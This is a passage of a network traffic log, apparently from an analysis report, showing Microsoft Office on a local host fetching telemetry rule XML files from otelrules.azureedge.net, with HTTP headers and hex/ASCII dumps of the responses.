2024-12-06 21:09:02 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:02 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:02 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:02 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210902Z-r1cf579d778zvkpnhC1EWRv23g00000000rg000000003wu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:02 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:02 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:02 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 1a13e7cb-001e-0049-3bcd-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210902Z-1746fd949bdjrnwqhC1EWRpg2800000004sg00000000nrbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:02 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:04 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:04 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:04 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1ec3a3fb-701e-0001-7303-48b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210904Z-r1cf579d778d5zkmhC1EWRk6h800000000ug00000000c9p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:04 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:04 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:04 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:04 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: c77b1400-401e-0048-71d2-450409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210904Z-1746fd949bdb8xvchC1EWRmbd400000004rg000000008q92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:04 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:04 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:04 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:04 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e2bfbc9d-f01e-0085-0f03-4888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210904Z-r1cf579d7789trgthC1EWRkkfc000000011g00000000c3pm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:04 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:04 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:04 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:04 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 42c4dea6-f01e-0099-6c03-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210904Z-r1cf579d7789trgthC1EWRkkfc000000012000000000b4db x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:04 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:04 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:04 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:04 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 4ddf438b-c01e-0049-57cd-45ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210904Z-1746fd949bdjrnwqhC1EWRpg2800000004w0000000006y86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:04 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:06 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:06 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:06 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c8e56ad6-f01e-005d-13cc-4513ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210906Z-1746fd949bdtlp5chC1EWRq1v400000004qg00000000ev7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:06 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:06 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:06 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:06 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210906Z-r1cf579d778qlpkrhC1EWRpfc8000000011g00000000bnvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:06 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:06 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:07 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 8332b9fd-c01e-0079-1704-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210906Z-r1cf579d778mvsklhC1EWRkavg00000000q0000000004x00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:06 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f7184125-501e-0064-68d4-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210906Z-1746fd949bdhk6hphC1EWRaw3c00000004d000000000v7nk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:07 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
